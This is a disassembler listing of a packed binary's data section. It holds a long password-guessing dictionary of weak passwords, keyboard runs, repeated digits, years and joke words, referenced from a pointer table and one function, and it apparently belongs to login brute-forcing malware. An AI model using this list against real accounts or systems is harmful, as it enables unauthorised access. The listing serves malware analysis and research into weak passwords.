a1958 db '1958',0 ; DATA XREF: .nsp0:0042E28Co
align 10h
a1957 db '1957',0 ; DATA XREF: .nsp0:0042E288o
align 4
a1956 db '1956',0 ; DATA XREF: .nsp0:0042E284o
align 10h
a1955 db '1955',0 ; DATA XREF: .nsp0:0042E280o
align 4
a1954 db '1954',0 ; DATA XREF: .nsp0:0042E27Co
align 10h
a1953 db '1953',0 ; DATA XREF: .nsp0:0042E278o
align 4
a1952 db '1952',0 ; DATA XREF: .nsp0:0042E274o
align 10h
a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0042E270o
a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0042E26Co
a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0042E268o
a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0042E254o
a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0042E250o
align 4
a12asd db '12asd',0 ; DATA XREF: .nsp0:0042E24Co
align 10h
a12abc db '12abc',0 ; DATA XREF: .nsp0:0042E248o
align 4
a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0042E244o
align 10h
a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0042E240o
align 4
a1asd db '1asd',0 ; DATA XREF: .nsp0:0042E23Co
align 10h
a1abc db '1abc',0 ; DATA XREF: .nsp0:0042E238o
align 4
a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0042E234o
align 10h
a123467890 db '123467890',0 ; DATA XREF: .nsp0:0042E230o
align 4
a12346789 db '12346789',0 ; DATA XREF: .nsp0:0042E22Co
align 4
a1234678 db '1234678',0 ; DATA XREF: .nsp0:0042E228o
a123467 db '123467',0 ; DATA XREF: .nsp0:0042E224o
align 4
a12346 db '12346',0 ; DATA XREF: .nsp0:0042E220o
align 10h
a121 db '121',0 ; DATA XREF: .nsp0:0042E1F8o
a1020 db '1020',0 ; DATA XREF: .nsp0:0042E1F0o
align 4
a0258 db '0258',0 ; DATA XREF: .nsp0:0042E1ECo
align 4
a8520 db '8520',0 ; DATA XREF: .nsp0:0042E1E8o
align 4
a987 db '987',0 ; DATA XREF: .nsp0:0042E1E4o
a789 db '789',0 ; DATA XREF: .nsp0:0042E1E0o
a654 db '654',0 ; DATA XREF: .nsp0:0042E1DCo
a456 db '456',0 ; DATA XREF: .nsp0:0042E1D8o
a1122 db '1122',0 ; DATA XREF: .nsp0:0042E1D4o
align 4
a0147 db '0147',0 ; DATA XREF: .nsp0:0042E1D0o
align 4
a7410 db '7410',0 ; DATA XREF: .nsp0:0042E1CCo
align 4
a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0042E1C4o
align 10h
a999999999 db '999999999',0 ; DATA XREF: .nsp0:0042E1C0o
align 4
a99999999 db '99999999',0 ; DATA XREF: .nsp0:0042E1BCo
align 4
a9999999 db '9999999',0 ; DATA XREF: .nsp0:0042E1B8o
a999999 db '999999',0 ; DATA XREF: .nsp0:0042E1B4o
align 4
a99999 db '99999',0 ; DATA XREF: .nsp0:0042E1B0o
align 10h
a9999 db '9999',0 ; DATA XREF: .nsp0:0042E1ACo
align 4
a999 db '999',0 ; DATA XREF: .nsp0:0042E1A8o
a99 db '99',0 ; DATA XREF: .nsp0:0042E1A4o
align 10h
a9: ; DATA XREF: .nsp0:0042E1A0o
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0042E19Co
align 10h
a888888888 db '888888888',0 ; DATA XREF: .nsp0:0042E198o
align 4
a8888888 db '8888888',0 ; DATA XREF: .nsp0:0042E190o
a888888 db '888888',0 ; DATA XREF: .nsp0:0042E18Co
align 4
a88888 db '88888',0 ; DATA XREF: .nsp0:0042E188o
align 4
a8888 db '8888',0 ; DATA XREF: .nsp0:0042E184o
align 4
a888 db '888',0 ; DATA XREF: .nsp0:0042E180o
a88 db '88',0 ; DATA XREF: .nsp0:0042E17Co
align 4
a8: ; DATA XREF: .nsp0:0042E178o
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0042E174o
align 4
a777777777 db '777777777',0 ; DATA XREF: .nsp0:0042E170o
align 10h
a77777777 db '77777777',0 ; DATA XREF: .nsp0:0042E16Co
align 4
a7777777 db '7777777',0 ; DATA XREF: .nsp0:0042E168o
a777777 db '777777',0 ; DATA XREF: .nsp0:0042E164o
align 4
a77777 db '77777',0 ; DATA XREF: .nsp0:0042E160o
align 4
a7777 db '7777',0 ; DATA XREF: .nsp0:0042E15Co
align 4
a777 db '777',0 ; DATA XREF: .nsp0:0042E158o
a77 db '77',0 ; DATA XREF: .nsp0:0042E154o
align 4
a7: ; DATA XREF: .nsp0:0042E150o
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0042E14Co
align 4
a666666666 db '666666666',0 ; DATA XREF: .nsp0:0042E148o
align 10h
a66666666 db '66666666',0 ; DATA XREF: .nsp0:0042E144o
align 4
a6666666 db '6666666',0 ; DATA XREF: .nsp0:0042E140o
a666666 db '666666',0 ; DATA XREF: .nsp0:0042E13Co
align 4
a66666 db '66666',0 ; DATA XREF: .nsp0:0042E138o
align 4
a6666 db '6666',0 ; DATA XREF: .nsp0:0042E134o
align 4
a666 db '666',0 ; DATA XREF: .nsp0:0042E130o
a66 db '66',0 ; DATA XREF: .nsp0:0042E12Co
align 4
a6: ; DATA XREF: .nsp0:0042E128o
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0042E124o
align 4
a555555555 db '555555555',0 ; DATA XREF: .nsp0:0042E120o
align 10h
a55555555 db '55555555',0 ; DATA XREF: .nsp0:0042E11Co
align 4
a5555555 db '5555555',0 ; DATA XREF: .nsp0:0042E118o
a555555 db '555555',0 ; DATA XREF: .nsp0:0042E114o
align 4
a55555 db '55555',0 ; DATA XREF: .nsp0:0042E110o
align 4
a5555 db '5555',0 ; DATA XREF: .nsp0:0042E10Co
align 4
a555 db '555',0 ; DATA XREF: .nsp0:0042E108o
a55 db '55',0 ; DATA XREF: .nsp0:0042E104o
align 4
a5: ; DATA XREF: .nsp0:0042E100o
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0042E0FCo
align 4
a444444444 db '444444444',0 ; DATA XREF: .nsp0:0042E0F8o
align 10h
a44444444 db '44444444',0 ; DATA XREF: .nsp0:0042E0F4o
align 4
a4444444 db '4444444',0 ; DATA XREF: .nsp0:0042E0F0o
a444444 db '444444',0 ; DATA XREF: .nsp0:0042E0ECo
align 4
a44444 db '44444',0 ; DATA XREF: .nsp0:0042E0E8o
align 4
a4444 db '4444',0 ; DATA XREF: .nsp0:0042E0E4o
align 4
a444 db '444',0 ; DATA XREF: .nsp0:0042E0E0o
a44 db '44',0 ; DATA XREF: .nsp0:0042E0DCo
align 4
a4: ; DATA XREF: .nsp0:0042E0D8o
unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0042E0D4o
align 4
a333333333 db '333333333',0 ; DATA XREF: .nsp0:0042E0D0o
align 10h
a33333333 db '33333333',0 ; DATA XREF: .nsp0:0042E0CCo
align 4
a3333333 db '3333333',0 ; DATA XREF: .nsp0:0042E0C8o
a333333 db '333333',0 ; DATA XREF: .nsp0:0042E0C4o
align 4
a33333 db '33333',0 ; DATA XREF: .nsp0:0042E0C0o
align 4
a3333 db '3333',0 ; DATA XREF: .nsp0:0042E0BCo
align 4
a333 db '333',0 ; DATA XREF: .nsp0:0042E0B8o
a33 db '33',0 ; DATA XREF: .nsp0:0042E0B4o
align 4
a3: ; DATA XREF: .nsp0:0042E0B0o
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0042E0ACo
align 4
a222222222 db '222222222',0 ; DATA XREF: .nsp0:0042E0A8o
align 10h
a22222222 db '22222222',0 ; DATA XREF: .nsp0:0042E0A4o
align 4
a2222222 db '2222222',0 ; DATA XREF: .nsp0:0042E0A0o
a222222 db '222222',0 ; DATA XREF: .nsp0:0042E09Co
align 4
a22222 db '22222',0 ; DATA XREF: .nsp0:0042E098o
align 4
a2222 db '2222',0 ; DATA XREF: .nsp0:0042E094o
align 4
a222 db '222',0 ; DATA XREF: .nsp0:0042E090o
a22 db '22',0 ; DATA XREF: .nsp0:0042E08Co
align 4
a2: ; DATA XREF: .nsp0:0042E088o
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0042E084o
align 4
a111111111 db '111111111',0 ; DATA XREF: .nsp0:0042E080o
align 10h
a1111111 db '1111111',0 ; DATA XREF: .nsp0:0042E078o
a11111 db '11111',0 ; DATA XREF: .nsp0:0042E070o
align 10h
a1111 db '1111',0 ; DATA XREF: .nsp0:0042E06Co
align 4
a11 db '11',0 ; DATA XREF: .nsp0:0042E064o
align 4
a010 db '010',0 ; DATA XREF: .nsp0:0042E054o
a009 db '009',0 ; DATA XREF: .nsp0:0042E050o
a008 db '008',0 ; DATA XREF: .nsp0:0042E04Co
a006 db '006',0 ; DATA XREF: .nsp0:0042E044o
a005 db '005',0 ; DATA XREF: sub_40CE55+215o
; .nsp0:0042E040o
a004 db '004',0 ; DATA XREF: .nsp0:0042E03Co
a003 db '003',0 ; DATA XREF: .nsp0:0042E038o
a002 db '002',0 ; DATA XREF: .nsp0:0042E034o
a001 db '001',0 ; DATA XREF: sub_40CE55+200o
; .nsp0:0042E030o
asc_42F2E0 db '*********',0 ; DATA XREF: .nsp0:0042E02Co
align 4
asc_42F2EC db '********',0 ; DATA XREF: .nsp0:0042E028o
align 4
asc_42F2F8 db '*******',0 ; DATA XREF: .nsp0:0042E024o
asc_42F300 db '******',0 ; DATA XREF: .nsp0:0042E020o
align 4
asc_42F308 db '*****',0 ; DATA XREF: .nsp0:0042E01Co
align 10h
asc_42F310 db '****',0 ; DATA XREF: .nsp0:0042E018o
align 4
asc_42F318 db '***',0 ; DATA XREF: .nsp0:0042E014o
asc_42F31C db '**',0 ; DATA XREF: .nsp0:0042E010o
align 10h
a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0042E008o
align 4
a000000000 db '000000000',0 ; DATA XREF: .nsp0:0042E004o
align 4
a@ db '@!',0 ; DATA XREF: .nsp0:0042DFE4o
align 4
a@_0 db '#@!',0 ; DATA XREF: .nsp0:0042DFE0o
a@_1 db '$#@!',0 ; DATA XREF: .nsp0:0042DFDCo
align 4
a@_2 db '%$#@!',0 ; DATA XREF: .nsp0:0042DFD8o
align 10h
a@_3 db '^%$#@!',0 ; DATA XREF: .nsp0:0042DFD4o
align 4
a@_4 db '&^%$#@!',0 ; DATA XREF: .nsp0:0042DFD0o
a@_5 db '*&^%$#@!',0 ; DATA XREF: .nsp0:0042DFCCo
align 4
asc_42F36C db '$$$',0 ; DATA XREF: .nsp0:0042DFC8o
asc_42F370 db '$$',0 ; DATA XREF: .nsp0:0042DFC4o
align 4
asc_42F374: ; DATA XREF: .nsp0:0042DFC0o
unicode 0, <$>,0
a456_0 db '456+',0 ; DATA XREF: .nsp0:0042DFBCo
align 10h
a789_0 db '789+',0 ; DATA XREF: .nsp0:0042DFB8o
align 4
a0 db '=-0',0 ; DATA XREF: .nsp0:0042DFB4o
asc_42F38C db '--++',0 ; DATA XREF: .nsp0:0042DFB0o
align 4
asc_42F394 db '-+',0 ; DATA XREF: .nsp0:0042DFACo
align 4
asc_42F398 db '----',0 ; DATA XREF: .nsp0:0042DFA8o
align 10h
asc_42F3A0 db '--',0 ; DATA XREF: .nsp0:0042DFA0o
; .nsp0:0042DFA4o
align 4
asc_42F3A4: ; DATA XREF: .nsp0:0042DF9Co
unicode 0, <->,0
asc_42F3A8 db '++++',0 ; DATA XREF: .nsp0:0042DF98o
align 10h
asc_42F3B0 db '+++',0 ; DATA XREF: .nsp0:0042DF94o
asc_42F3B4 db '++',0 ; DATA XREF: .nsp0:0042DF90o
align 4
asc_42F3B8: ; DATA XREF: .nsp0:0042DF8Co
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: .nsp0:0042DF88o
align 10h
a@_6: ; DATA XREF: sub_40CE55+23Ao
; .nsp0:0042DF84o
unicode 0, <@>,0
off_42F3C4 dd offset loc_40211D+4 ; DATA XREF: .nsp0:0042DF80o
dword_42F3C8 dd 2121h ; DATA XREF: .nsp0:0042DF7Co
dword_42F3CC dd 24234021h, 2A265E25h, 0 ; DATA XREF: .nsp0:0042DF74o
dword_42F3D8 dd 24234021h, 265E25h ; DATA XREF: .nsp0:0042DF70o
dword_42F3E0 dd 24234021h, 5E25h ; DATA XREF: .nsp0:0042DF6Co
dword_42F3E8 dd 24234021h, 25h ; DATA XREF: .nsp0:0042DF68o
dword_42F3F0 dd 234021h ; DATA XREF: .nsp0:0042DF64o
dword_42F3F4 dd 4021h ; DATA XREF: .nsp0:0042DF60o
dword_42F3F8 dd 21h ; DATA XREF: sub_40CE55+19Ao
; sub_40CE55+5B5Fo ...
dword_42F3FC dd 25h ; DATA XREF: .nsp0:0042DF58o
aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:0042DF54o
align 4
aZap db 'zap',0 ; DATA XREF: .nsp0:0042DF50o
aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0042DF4Co
aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042DF48o
; .nsp0:0042E440o
aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:0042DF44o
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:0042DF40o
align 4
aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:0042DF3Co
align 4
aTty db 'tty',0 ; DATA XREF: .nsp0:0042DF38o
aTopography db 'topography',0 ; DATA XREF: .nsp0:0042DF34o
align 4
aTemptation db 'temptation',0 ; DATA XREF: .nsp0:0042DF30o
align 4
aTelephone db 'telephone',0 ; DATA XREF: .nsp0:0042DF2Co
align 10h
aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:0042DF28o
align 4
aSys db 'sys',0 ; DATA XREF: .nsp0:0042DF24o
aSupported db 'supported',0 ; DATA XREF: .nsp0:0042DF20o
align 4
aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:0042DF1Co
align 4
aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:0042DF18o
align 4
aSun db 'sun',0 ; DATA XREF: .nsp0:0042DF14o
aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:0042DF10o
align 4
aStratford db 'stratford',0 ; DATA XREF: .nsp0:0042DF0Co
align 10h
aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:0042DF08o
align 4
aSignature db 'signature',0 ; DATA XREF: .nsp0:0042DF04o
align 4
aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:0042DF00o
align 4
aSal db 'sal',0 ; DATA XREF: .nsp0:0042DEFCo
aRochester db 'rochester',0 ; DATA XREF: .nsp0:0042DEF8o
align 4
aRje db 'rje',0 ; DATA XREF: .nsp0:0042DEF4o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:0042DEF0o
align 4
aPub db 'pub',0 ; DATA XREF: .nsp0:0042DEECo
aProfessor db 'professor',0 ; DATA XREF: .nsp0:0042DEE8o
align 4
aPrinceton db 'princeton',0 ; DATA XREF: .nsp0:0042DEE4o
align 4
aPondering db 'pondering',0 ; DATA XREF: .nsp0:0042DEE0o
align 10h
aPolynomial db 'polynomial',0 ; DATA XREF: .nsp0:0042DEDCo
align 4
aPersimmon db 'persimmon',0 ; DATA XREF: .nsp0:0042DED8o
align 4
aPercolate db 'percolate',0 ; DATA XREF: .nsp0:0042DED4o
align 4
aPam db 'pam',0 ; DATA XREF: .nsp0:0042DED0o
aPad db 'pad',0 ; DATA XREF: .nsp0:0042DECCo
aOceanography db 'oceanography',0 ; DATA XREF: .nsp0:0042DEC8o
align 4
aNutrition db 'nutrition',0 ; DATA XREF: .nsp0:0042DEC4o
align 4
aNew db 'new',0 ; DATA XREF: .nsp0:0042DEC0o
aNet db 'net',0 ; DATA XREF: .nsp0:0042DEBCo
aMit db 'mit',0 ; DATA XREF: .nsp0:0042DEB8o
aMgr db 'mgr',0 ; DATA XREF: .nsp0:0042DEB4o
aMacintosh db 'macintosh',0 ; DATA XREF: .nsp0:0042DEB0o
align 4
aLiz db 'liz',0 ; DATA XREF: .nsp0:0042DEACo
aLee db 'lee',0 ; DATA XREF: .nsp0:0042DEA8o
aLamination db 'lamination',0 ; DATA XREF: .nsp0:0042DEA4o
align 4
aKim db 'kim',0 ; DATA XREF: .nsp0:0042DEA0o
aJoy db 'joy',0 ; DATA XREF: .nsp0:0042DE98o
aJen db 'jen',0 ; DATA XREF: .nsp0:0042DE94o
aInnocuous db 'innocuous',0 ; DATA XREF: .nsp0:0042DE90o
align 10h
aImbroglio db 'imbroglio',0 ; DATA XREF: .nsp0:0042DE8Co
align 4
aIbm db 'ibm',0 ; DATA XREF: .nsp0:0042DE88o
aHappening db 'happening',0 ; DATA XREF: .nsp0:0042DE84o
align 4
aHal db 'hal',0 ; DATA XREF: .nsp0:0042DE80o
aGnu db 'gnu',0 ; DATA XREF: .nsp0:0042DE7Co
aFun db 'fun',0 ; DATA XREF: .nsp0:0042DE78o
aForesight db 'foresight',0 ; DATA XREF: .nsp0:0042DE74o
align 4
aFoolproof db 'foolproof',0 ; DATA XREF: .nsp0:0042DE70o
align 10h
aExtension db 'extension',0 ; DATA XREF: .nsp0:0042DE6Co
align 4
aEstablish db 'establish',0 ; DATA XREF: .nsp0:0042DE68o
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:0042DE64o
align 4
aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:0042DE60o
align 10h
aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:0042DE5Co
align 4
aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0042DE58o
align 4
aDos db 'dos',0 ; DATA XREF: .nsp0:0042DE54o
aDog db 'dog',0 ; DATA XREF: .nsp0:0042DE50o
aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:0042DE4Co
align 4
aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0042DE48o
align 4
aDeb db 'deb',0 ; DATA XREF: .nsp0:0042DE44o
aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:0042DE40o
align 4
aCommrades db 'commrades',0 ; DATA XREF: .nsp0:0042DE3Co
align 4
aChristine db 'christine',0 ; DATA XREF: .nsp0:0042DE38o
align 10h
aChristina db 'christina',0 ; DATA XREF: .nsp0:0042DE34o
align 4
aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:0042DE30o
align 4
aCatherine db 'catherine',0 ; DATA XREF: .nsp0:0042DE2Co
align 4
aCat db 'cat',0 ; DATA XREF: .nsp0:0042DE28o
aCampanile db 'campanile',0 ; DATA XREF: .nsp0:0042DE24o
align 4
aCad db 'cad',0 ; DATA XREF: .nsp0:0042DE20o
aBsd db 'bsd',0 ; DATA XREF: .nsp0:0042DE1Co
aBob db 'bob',0 ; DATA XREF: .nsp0:0042DE18o
aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:0042DE14o
align 4
aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:0042DE10o
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:0042DE0Co
align 4
aAsm db 'asm',0 ; DATA XREF: .nsp0:0042DE08o
aAsd db 'asd',0 ; DATA XREF: .nsp0:0042DE04o
; .nsp0:0042E470o
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:0042DE00o
align 4
aAnn db 'ann',0 ; DATA XREF: .nsp0:0042DDFCo
aAndromache db 'andromache',0 ; DATA XREF: .nsp0:0042DDF8o
align 4
aAmy db 'amy',0 ; DATA XREF: .nsp0:0042DDF4o
aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0042DDF0o
align 4
aAma db 'ama',0 ; DATA XREF: .nsp0:0042DDECo
aAlf db 'alf',0 ; DATA XREF: .nsp0:0042DDE8o
aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:0042DDE4o
align 10h
aAda db 'ada',0 ; DATA XREF: .nsp0:0042DDE0o
aH4x0ring db 'h4x0ring',0 ; DATA XREF: .nsp0:0042DDDCo
align 10h
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0042DDD8o
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:0042DDD4o
align 4
aHaxing db 'haxing',0 ; DATA XREF: .nsp0:0042DDD0o
align 4
aHax db 'hax',0 ; DATA XREF: .nsp0:0042DDCCo
aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0042DDC8o
align 4
aHo db 'ho',0 ; DATA XREF: .nsp0:0042DDC4o
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:0042DDC0o
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:0042DDBCo
align 10h
aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0042DDB8o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:0042DDB4o
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:0042DDB0o
align 4
aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0042DDACo
align 10h
aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0042DDA8o
align 4
aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0042DDA4o
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:0042DDA0o
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:0042DD9Co
align 10h
aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042DD98o
align 4
aMs db 'MS',0 ; DATA XREF: .nsp0:0042DD94o
align 10h
aM_0 db 'M$',0 ; DATA XREF: .nsp0:0042DD90o
align 4
aBilly db 'billy',0 ; DATA XREF: .nsp0:0042DD8Co
align 4
aWindose db 'windose',0 ; DATA XREF: .nsp0:0042DD88o
aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0042DD84o
aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0042DD80o
aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0042DD7Co
aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042DD78o
align 4
aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0042DD74o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0042DD70o
align 10h
aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0042DD6Co
align 4
aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042DD68o
aD00d db 'd00d',0 ; DATA XREF: .nsp0:0042DD64o
align 4
aLol db 'lol',0 ; DATA XREF: .nsp0:0042DD60o
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0042DD5Co
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042DD58o
align 4
aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0042DD54o
align 4
aRoss db 'Ross',0 ; DATA XREF: .nsp0:0042DD50o
align 4
aTestin db 'testin',0 ; DATA XREF: .nsp0:0042DD4Co
align 4
aTester db 'tester',0 ; DATA XREF: .nsp0:0042DD48o
align 4
a00000000 db '00000000',0 ; DATA XREF: .nsp0:0042DD44o
; .nsp0:0042E000o
align 10h
aZulu db 'zulu',0 ; DATA XREF: .nsp0:0042DD40o
align 4
aZombie db 'zombie',0 ; DATA XREF: .nsp0:0042DD3Co
align 10h
aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0042DD38o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0042DD34o
align 4
aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0042DD30o
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0042DD2Co
align 4
aZebra db 'zebra',0 ; DATA XREF: .nsp0:0042DD28o
align 10h
aYoung db 'young',0 ; DATA XREF: .nsp0:0042DD24o
align 4
aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0042DD20o
align 4
aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0042DD1Co
aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0042DD18o
align 4
aYellow db 'yellow',0 ; DATA XREF: .nsp0:0042DD14o
align 10h
aYankee db 'yankee',0 ; DATA XREF: .nsp0:0042DD10o
align 4
aYang db 'yang',0 ; DATA XREF: .nsp0:0042DD0Co
; .nsp0:0042E448o
align 10h
aYaco db 'yaco',0 ; DATA XREF: .nsp0:0042DD08o
; .nsp0:0042E444o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0042DD04o
align 10h
aXray db 'xray',0 ; DATA XREF: .nsp0:0042DD00o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0042DCFCo
align 10h
aXmen db 'xmen',0 ; DATA XREF: .nsp0:0042DCF8o
align 4
aXman db 'xman',0 ; DATA XREF: .nsp0:0042DCF4o
align 10h
aXfer db 'xfer',0 ; DATA XREF: .nsp0:0042DCF0o
align 4
aXena db 'xena',0 ; DATA XREF: .nsp0:0042DCECo
align 10h
aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0042DCE8o
aWwii db 'wwii',0 ; DATA XREF: .nsp0:0042DCE4o
align 10h
aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0042DCE0o
align 4
aWorm db 'worm',0 ; DATA XREF: .nsp0:0042DCDCo
align 4
aWork db 'work',0 ; DATA XREF: .nsp0:0042DCD8o
align 4
aWorf db 'worf',0 ; DATA XREF: .nsp0:0042DCD4o
align 4
aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0042DCD0o
align 10h
aWord db 'word',0 ; DATA XREF: .nsp0:0042DCCCo
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042DCC8o
align 4
aWood db 'wood',0 ; DATA XREF: .nsp0:0042DCC4o
align 4
aWomen db 'women',0 ; DATA XREF: .nsp0:0042DCC0o
align 4
aWombat db 'wombat',0 ; DATA XREF: .nsp0:0042DCBCo
align 4
aWoman db 'woman',0 ; DATA XREF: .nsp0:0042DCB8o
align 4
aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0042DCB4o
align 10h
aWolf db 'wolf',0 ; DATA XREF: .nsp0:0042DCB0o
align 4
aWizard db 'wizard',0 ; DATA XREF: .nsp0:0042DCACo
align 10h
aWithin db 'within',0 ; DATA XREF: .nsp0:0042DCA8o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0042DCA4o
aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0042DCA0o
align 4
aWired db 'wired',0 ; DATA XREF: .nsp0:0042DC9Co
align 4
aWinston db 'winston',0 ; DATA XREF: .nsp0:0042DC98o
aWing db 'wing',0 ; DATA XREF: .nsp0:0042DC94o
align 4
aWine db 'wine',0 ; DATA XREF: .nsp0:0042DC90o
align 4
aWindows db 'windows',0 ; DATA XREF: .nsp0:0042DC8Co
aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042DC88o
align 4
aWillie db 'willie',0 ; DATA XREF: .nsp0:0042DC84o
align 4
aWilliams db 'williams',0 ; DATA XREF: .nsp0:0042DC80o
align 10h
aWilliam db 'william',0 ; DATA XREF: .nsp0:0042DC7Co
aWill db 'will',0 ; DATA XREF: .nsp0:0042DC78o
align 10h
aWhore db 'whore',0 ; DATA XREF: .nsp0:0042DC74o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:0042DC70o
align 4
aWhitney db 'whitney',0 ; DATA XREF: .nsp0:0042DC6Co
aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042DC68o
aWhite db 'white',0 ; DATA XREF: .nsp0:0042DC64o
align 4
aWhisky db 'whisky',0 ; DATA XREF: .nsp0:0042DC60o
align 4
aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:0042DC5Co
aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042DC58o
align 4
aWestern db 'western',0 ; DATA XREF: .nsp0:0042DC54o
aWest db 'west',0 ; DATA XREF: .nsp0:0042DC50o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0042DC4Co
align 4
aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042DC48o
align 4
aWendi db 'wendi',0 ; DATA XREF: .nsp0:0042DC44o
align 4
aWell db 'well',0 ; DATA XREF: .nsp0:0042DC40o
align 4
aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0042DC3Co
align 4
aWeed db 'weed',0 ; DATA XREF: .nsp0:0042DC38o
align 4
aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0042DC34o
align 4
aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0042DC30o
aWave db 'wave',0 ; DATA XREF: .nsp0:0042DC2Co
align 4
aWater db 'water',0 ; DATA XREF: .nsp0:0042DC28o
align 10h
aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0042DC24o
align 4
aWasp db 'wasp',0 ; DATA XREF: .nsp0:0042DC20o
align 4
aWarren db 'warren',0 ; DATA XREF: .nsp0:0042DC1Co
align 4
aWarp db 'warp',0 ; DATA XREF: .nsp0:0042DC18o
align 4
aWargames db 'wargames',0 ; DATA XREF: .nsp0:0042DC14o
align 10h
aWarfare db 'warfare',0 ; DATA XREF: .nsp0:0042DC10o
aWarez db 'warez',0 ; DATA XREF: .nsp0:0042DC0Co
align 10h
aWard db 'ward',0 ; DATA XREF: .nsp0:0042DC08o
align 4
aWaco db 'waco',0 ; DATA XREF: .nsp0:0042DC04o
align 10h
aVodka db 'vodka',0 ; DATA XREF: .nsp0:0042DC00o
align 4
aVisualba db 'visualba',0 ; DATA XREF: .nsp0:0042DBFCo
align 4
